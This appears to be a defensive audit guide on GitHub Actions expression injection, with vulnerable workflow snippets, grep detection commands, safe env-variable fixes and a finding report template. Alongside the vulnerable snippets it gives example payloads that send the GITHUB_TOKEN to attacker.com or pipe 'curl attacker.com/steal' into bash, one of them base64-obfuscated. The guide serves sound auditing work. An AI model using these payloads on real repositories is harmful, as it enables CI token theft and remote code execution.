Expression Injection

# VULNERABLE: PR title directly interpolated into shell
- run: echo "PR Title: ${{ github.event.pull_request.title }}"

"; curl https://attacker.com/$(cat $GITHUB_TOKEN) #

echo "PR Title: "; curl https://attacker.com/$(cat $GITHUB_TOKEN) #"

# VULNERABLE
- run: echo "${{ github.head_ref }}" > branch_name.txt

dev$({curl,-sSfL,attacker.com/steal}${IFS}|${IFS}bash)

# VULNERABLE
- run: |
    for file in ${{ steps.changed.outputs.files }}; do
      echo "Processing $file"
    done

docs/$(echo${IFS}Y3VybCAtc1NmTCBhdHRhY2tlci5jb20vc3RlYWw=${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash).md

# VULNERABLE
- run: |
    echo "## PR Summary" >> $GITHUB_STEP_SUMMARY
    echo "${{ github.event.pull_request.title }}" >> $GITHUB_STEP_SUMMARY

$(curl -sSfL attacker.com/steal | bash)

# VULNERABLE
on: issues
jobs:
  process:
    runs-on: ubuntu-latest
    steps:
      - run: echo "Issue: ${{ github.event.issue.title }}"

# NOT TYPICALLY VULNERABLE: push to protected branch requires write access
on:
  push:
    branches: [main]
steps:
  - run: echo "Commit: ${{ github.event.commits[0].message }}"

# NOT A FINDING: requires write access to trigger
on:
  workflow_dispatch:
    inputs:
      version:
        description: 'Version to release'
        required: true
jobs:
  release:
    runs-on: ubuntu-latest
    steps:
      - run: echo "Releasing ${{ github.event.inputs.version }}"

# Find all ${{ }} expressions in run: blocks
grep -n 'run:' .github/workflows/*.yml | while read line; do
  file=$(echo "$line" | cut -d: -f1)
  grep -n '\${{.*}}' "$file"
done

# Specifically look for dangerous expressions in run blocks
grep -B5 -A5 '\${{.*github\.event\.' .github/workflows/*.yml | grep -B5 'run:'

# Find head_ref usage (dangerous in PR-triggered workflows)
grep -rn 'github\.head_ref\|pull_request\.head\.ref\|pull_request\.head\.label' .github/workflows/

# NOTE: Do NOT flag workflow_dispatch inputs — requires write access, not an external threat

# VULNERABLE
- run: echo "Title: ${{ github.event.pull_request.title }}"

# SAFE: Expression assigned to env var, then quoted in shell
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Title: $PR_TITLE"

# Branch name — SAFE
- env:
    BRANCH: ${{ github.head_ref }}
  run: echo "$BRANCH" > branch_name.txt

# PR title — SAFE
- env:
    TITLE: ${{ github.event.pull_request.title }}
  run: |
    echo "## PR Summary" >> $GITHUB_STEP_SUMMARY
    echo "$TITLE" >> $GITHUB_STEP_SUMMARY

# Multiple expressions — SAFE
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
    PR_BODY: ${{ github.event.pull_request.body }}
    HEAD_REF: ${{ github.head_ref }}
  run: |
    echo "Title: $PR_TITLE"
    echo "Branch: $HEAD_REF"

# workflow_dispatch input — SAFE
- env:
    VERSION: ${{ github.event.inputs.version }}
  run: echo "Releasing $VERSION"

# SAFE: if: conditions (evaluated by Actions runtime, not shell)
if: ${{ github.event.pull_request.title != '' }}

# SAFE: with: parameters (passed as strings to the action)
- uses: some-action@v1
  with:
    title: ${{ github.event.pull_request.title }}

# SAFE: env: at job/step level (sets variable, doesn't execute)
env:
  TITLE: ${{ github.event.pull_request.title }}

# SAFE: numeric values
- run: echo "PR #${{ github.event.pull_request.number }}"

ATTACK: Expression Injection via [source]
ENTRY: Attacker creates [PR/issue/comment] with payload in [field]
PAYLOAD: [exact string the attacker provides]
TRIGGER: Workflow [file:line] runs on [event], expression at line [N]
  expands to shell code
EXECUTION: Shell interprets ${{ }} output as:
  [show the expanded shell command]
IMPACT: [RCE, token theft, etc.] — token permissions: [list]